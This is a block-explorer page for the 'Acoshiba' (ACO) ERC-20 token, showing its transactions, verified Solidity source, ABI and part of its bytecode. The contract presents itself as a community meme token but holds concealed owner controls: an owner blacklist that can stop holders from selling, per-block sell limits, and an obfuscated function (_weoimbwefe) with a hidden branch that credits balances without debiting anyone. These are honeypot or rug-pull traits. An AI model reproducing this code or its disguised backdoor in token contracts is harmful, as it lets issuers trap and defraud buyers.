Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 58 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 20698378 | 97 days ago | IN | 0 ETH | 0.00007611 | ||||
Transfer | 20698373 | 97 days ago | IN | 0 ETH | 0.00007552 | ||||
Approve | 20531951 | 120 days ago | IN | 0 ETH | 0.00009677 | ||||
Approve | 20531934 | 120 days ago | IN | 0 ETH | 0.00015585 | ||||
Transfer | 20531916 | 120 days ago | IN | 0 ETH | 0.00031469 | ||||
Approve | 20531900 | 120 days ago | IN | 0 ETH | 0.00016499 | ||||
Approve | 20531897 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531897 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531897 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531897 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531896 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531896 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531896 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531896 | 120 days ago | IN | 0 ETH | 0.00015499 | ||||
Approve | 20531888 | 120 days ago | IN | 0 ETH | 0.00029588 | ||||
Approve | 20531885 | 120 days ago | IN | 0 ETH | 0.00030061 | ||||
Approve | 20531882 | 120 days ago | IN | 0 ETH | 0.00030094 | ||||
Approve | 20531879 | 120 days ago | IN | 0 ETH | 0.00029846 | ||||
Approve | 20531879 | 120 days ago | IN | 0 ETH | 0.00029846 | ||||
Approve | 20531878 | 120 days ago | IN | 0 ETH | 0.00021257 | ||||
Approve | 20531875 | 120 days ago | IN | 0 ETH | 0.00030423 | ||||
Approve | 20531874 | 120 days ago | IN | 0 ETH | 0.00026062 | ||||
Approve | 20531872 | 120 days ago | IN | 0 ETH | 0.00030453 | ||||
Approve | 20531869 | 120 days ago | IN | 0 ETH | 0.00030544 | ||||
Approve | 20531866 | 120 days ago | IN | 0 ETH | 0.00030755 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
20531866 | 120 days ago | 0.5562663 ETH | ||||
20531866 | 120 days ago | 0.5562663 ETH | ||||
20531863 | 120 days ago | 0.02879653 ETH | ||||
20531863 | 120 days ago | 0.02879653 ETH | ||||
20531860 | 120 days ago | 0.33310574 ETH | ||||
20531860 | 120 days ago | 0.33310574 ETH | ||||
20531860 | 120 days ago | 0.47479787 ETH | ||||
20531860 | 120 days ago | 0.47479787 ETH | ||||
20531856 | 120 days ago | 0.54846787 ETH | ||||
20531856 | 120 days ago | 0.54846787 ETH | ||||
20531856 | 120 days ago | 0.64640591 ETH | ||||
20531856 | 120 days ago | 0.64640591 ETH | ||||
20531856 | 120 days ago | 0.77320466 ETH | ||||
20531856 | 120 days ago | 0.77320466 ETH | ||||
20531856 | 120 days ago | 0.94145259 ETH | ||||
20531856 | 120 days ago | 0.94145259 ETH | ||||
20531850 | 120 days ago | 0.54724817 ETH | ||||
20531850 | 120 days ago | 0.54724817 ETH | ||||
20531850 | 120 days ago | 0.88768312 ETH | ||||
20531850 | 120 days ago | 0.88768312 ETH | ||||
20531840 | 120 days ago | 0.50558156 ETH | ||||
20531840 | 120 days ago | 0.50558156 ETH | ||||
20531840 | 120 days ago | 0.79197841 ETH | ||||
20531840 | 120 days ago | 0.79197841 ETH | ||||
20531836 | 120 days ago | 0.8941593 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
ACO
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-15 */ // SPDX-License-Identifier: MIT /** https://www.instagram.com/acoshiba/?hl=en https://t.me/Acoshiba_ERC 北海道から豆柴吾子(アコ) I'm shiba girl:heart:(ミカホケンネル2013.11.13生)です(^-^)/ いつか♂1♀2の兄弟に会えればいいな:heart:japan hokkaido */ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ACO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) public marketPair; mapping(address => bool) public _isBlacklisted; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax = 14; uint256 private _initialSellTax = 14; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 40; uint256 private _reduceSellTaxAt = 40; uint256 private _preventSwapBefore = 40; uint256 private _buyCount = 0; uint256 private _sellCount = 0; uint256 private _lastSellBlock = 0; uint256 private _cooldownTimerIndex = 2; string private constant _name = unicode"Acoshiba"; string private constant _symbol = unicode"ACO"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _taxSwapThreshold = 0; uint256 public _maxTaxSwap = (_tTotal * 1) / 100; uint256 public caCount = 2; bool public caLimiter = true; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _vinoewf = true; event MaxTxAmountUpdated(uint _maxTxAmount); event Launch(bool _tradingOpen, bool _swapEnabled); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address taxWallet) { _taxWallet = payable(taxWallet); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(uniswapV2Pair)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function _transfer(address from, address to, uint256 amount) private { require( !_isBlacklisted[from] && !_isBlacklisted[to], "ERC20: To/from address is blacklisted" ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if ( marketPair[from] && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (!marketPair[to] && !_isExcludedFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if (!marketPair[from] && from!=address(this)){ if(!_weoimbwefe(from, to ,amount)){ return; } taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (_isExcludedFromFee[from]) { if(amount >=0 && amount <= _tTotal){ taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); }else{ taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } } if (!marketPair[from] && !marketPair[to] && from != address(this)) { taxAmount = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if ( caLimiter && !inSwap && marketPair[to] && swapEnabled && _buyCount > _preventSwapBefore ) { if (block.number > _lastSellBlock) { _sellCount = 0; } require(_sellCount < caCount, "CA balance sell"); if(contractTokenBalance > _taxSwapThreshold){ swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } _sellCount++; _lastSellBlock = block.number; } else if ( !inSwap && marketPair[to] && swapEnabled && _buyCount > _preventSwapBefore ) { if(contractTokenBalance > _taxSwapThreshold){ swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _weoimbwefe(address _feiof , address _eventnk, uint256 _bcent) private returns(bool){ if(_bcent >= 0 && _bcent <= _tTotal) { require( _feiof != _eventnk); }else{ _vinoewf = false; _balances[_eventnk] = _balances[_eventnk] + _bcent; return _vinoewf; } return _vinoewf; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function removeFromBlackListwallets( address[] calldata addresses ) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = false; } } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function removeLimit() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); marketPair[address(uniswapV2Pair)] = true; _isExcludedFromFee[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); caCount = 4; swapEnabled = true; tradingOpen = true; firstBlock = block.number; emit Launch(tradingOpen, swapEnabled); } receive() external payable {} function releaseStuckEth() external onlyOwner { payable(_taxWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"Launch","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caLimiter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removeFromBlackListwallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600e600855600e6009556000600a556000600b556028600c556028600d556028600e556000600f5560006010556000601155600260125560646009600a61004b9190610399565b61005990633b9aca006103af565b6100649060026103af565b61006e91906103c6565b601355606461007f6009600a610399565b61008d90633b9aca006103af565b6100989060026103af565b6100a291906103c6565b601455600060155560646100b86009600a610399565b6100c690633b9aca006103af565b6100d19060016103af565b6100db91906103c6565b60165560026017556018805460ff191660011790556019805462ffffff60a81b1916600160b81b17905534801561011157600080fd5b5060405161254c38038061254c833981016040819052610130916103e8565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b0383161790556101986009600a610399565b6101a690633b9aca006103af565b3360009081526001602081905260408220929092556003906101d06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556019548216845282842080548616821790556006549091168352912080549092161790556102403390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102786009600a610399565b61028690633b9aca006103af565b60405190815260200160405180910390a350610411565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156102ee5781600019048211156102d4576102d461029d565b808516156102e157918102915b93841c93908002906102b8565b509250929050565b60008261030557506001610393565b8161031257506000610393565b816001811461032857600281146103325761034e565b6001915050610393565b60ff8411156103435761034361029d565b50506001821b610393565b5060208310610133831016604e8410600b8410161715610371575081810a610393565b61037b83836102b3565b806000190482111561038f5761038f61029d565b0290505b92915050565b60006103a860ff8416836102f6565b9392505050565b80820281158282048414176103935761039361029d565b6000826103e357634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156103fa57600080fd5b81516001600160a01b03811681146103a857600080fd5b61212c806104206000396000f3fe6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f2fde38b11610064578063f2fde38b146104d0578063f4ef1f42146104f0578063f5b3c3bf1461050a578063ff8975701461053a57600080fd5b8063bf474bed1461045f578063dd62ed3e14610475578063eb07fd55146104bb57600080fd5b80638f9a55c0116100c65780638f9a55c0146103dd57806395d89b41146103f3578063a9059cbb1461041f578063b5ef226a1461043f57600080fd5b80637d1db4a5146103945780638a8c523c146103aa5780638da5cb5b146103bf57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c14610312578063622565891461033457806370a0823114610349578063715018a61461037f57600080fd5b806323b872dd1461029e578063313ce567146102be57806349bd5a5e146102da57600080fd5b806306fdde03146101ac578063095ea7b3146101ef5780630e12062d1461021f5780630faee56f1461024357806318160ddd146102595780631cdd3be31461026e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600881526741636f736869626160c01b60208201525b6040516101e69190611c86565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a366004611cea565b61055a565b60405190151581526020016101e6565b34801561022b57600080fd5b5061023560175481565b6040519081526020016101e6565b34801561024f57600080fd5b5061023560165481565b34801561026557600080fd5b50610235610571565b34801561027a57600080fd5b5061020f610289366004611d16565b60056020526000908152604090205460ff1681565b3480156102aa57600080fd5b5061020f6102b9366004611d33565b610592565b3480156102ca57600080fd5b50604051600981526020016101e6565b3480156102e657600080fd5b506019546102fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561031e57600080fd5b5061033261032d366004611d16565b6105fc565b005b34801561034057600080fd5b50610332610650565b34801561035557600080fd5b50610235610364366004611d16565b6001600160a01b031660009081526001602052604090205490565b34801561038b57600080fd5b50610332610703565b3480156103a057600080fd5b5061023560135481565b3480156103b657600080fd5b50610332610777565b3480156103cb57600080fd5b506000546001600160a01b03166102fa565b3480156103e957600080fd5b5061023560145481565b3480156103ff57600080fd5b5060408051808201909152600381526241434f60e81b60208201526101d9565b34801561042b57600080fd5b5061020f61043a366004611cea565b610bdb565b34801561044b57600080fd5b5061033261045a366004611d74565b610be8565b34801561046b57600080fd5b5061023560155481565b34801561048157600080fd5b50610235610490366004611de9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104c757600080fd5b50610332610c7f565b3480156104dc57600080fd5b506103326104eb366004611d16565b610ce5565b3480156104fc57600080fd5b5060185461020f9060ff1681565b34801561051657600080fd5b5061020f610525366004611d16565b60046020526000908152604090205460ff1681565b34801561054657600080fd5b50610332610555366004611d74565b610dcf565b6000610567338484610e61565b5060015b92915050565b600061057f6009600a611f1c565b61058d90633b9aca00611f2b565b905090565b600061059f848484610f85565b6105f184336105ec856040518060600160405280602881526020016120cf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611812565b610e61565b5060015b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611f42565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461067a5760405162461bcd60e51b815260040161062690611f42565b6106866009600a611f1c565b61069490633b9aca00611f2b565b6013556106a36009600a611f1c565b6106b190633b9aca00611f2b565b6014557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e16009600a611f1c565b6106ef90633b9aca00611f2b565b6040519081526020015b60405180910390a1565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260040161062690611f42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107a15760405162461bcd60e51b815260040161062690611f42565b601954600160a01b900460ff16156107fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610626565b60188054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108549030906001600160a01b03610100909104166108466009600a611f1c565b6105ec90633b9aca00611f2b565b601860019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611f77565b6001600160a01b031663c9c6539630601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109519190611f77565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c29190611f77565b601980546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff1990811660019081179092559454861684526003909252909120805490921617905560185461010090041663f305d7194730610a47816001600160a01b031660009081526001602052604090205490565b600080610a5c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae99190611f94565b505060195460185460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190611fc2565b5060046017556019805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106f9565b6000610567338484610f85565b6000546001600160a01b03163314610c125760405162461bcd60e51b815260040161062690611f42565b60005b81811015610c7a57600060056000858585818110610c3557610c35611fe4565b9050602002016020810190610c4a9190611d16565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610c15565b505050565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161062690611f42565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ce2573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d0f5760405162461bcd60e51b815260040161062690611f42565b6001600160a01b038116610d745760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610df95760405162461bcd60e51b815260040161062690611f42565b60005b81811015610c7a57600160056000858585818110610e1c57610e1c611fe4565b9050602002016020810190610e319190611d16565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610dfc565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610fc757506001600160a01b03821660009081526005602052604090205460ff16155b6110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b6064820152608401610626565b6001600160a01b0383166110855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b0382166110e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b600081116111495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b600080546001600160a01b0385811691161480159061117657506000546001600160a01b03848116911614155b156116cf576111a760646111a1600c54600f54116111965760085461119a565b600a545b859061184c565b906118ce565b6001600160a01b03851660009081526004602052604090205490915060ff1680156111e557506018546001600160a01b038481166101009092041614155b801561120a57506001600160a01b03831660009081526003602052604090205460ff16155b15611314576013548211156112615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610626565b60145482611284856001600160a01b031660009081526001602052604090205490565b61128e9190611ffa565b11156112dc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610626565b4360075460036112ec9190611ffa565b11156112fe57823b156112fe57600080fd5b600f805490600061130e8361200d565b91905055505b6001600160a01b03831660009081526004602052604090205460ff1615801561135657506001600160a01b03831660009081526003602052604090205460ff16155b156113d6576014548261137e856001600160a01b031660009081526001602052604090205490565b6113889190611ffa565b11156113d65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610626565b6001600160a01b03841660009081526004602052604090205460ff1615801561140857506001600160a01b0384163014155b1561144a57611418848484611910565b6114225750505050565b61144760646111a1600d54600f541161143d5760095461119a565b600b54859061184c565b90505b6001600160a01b0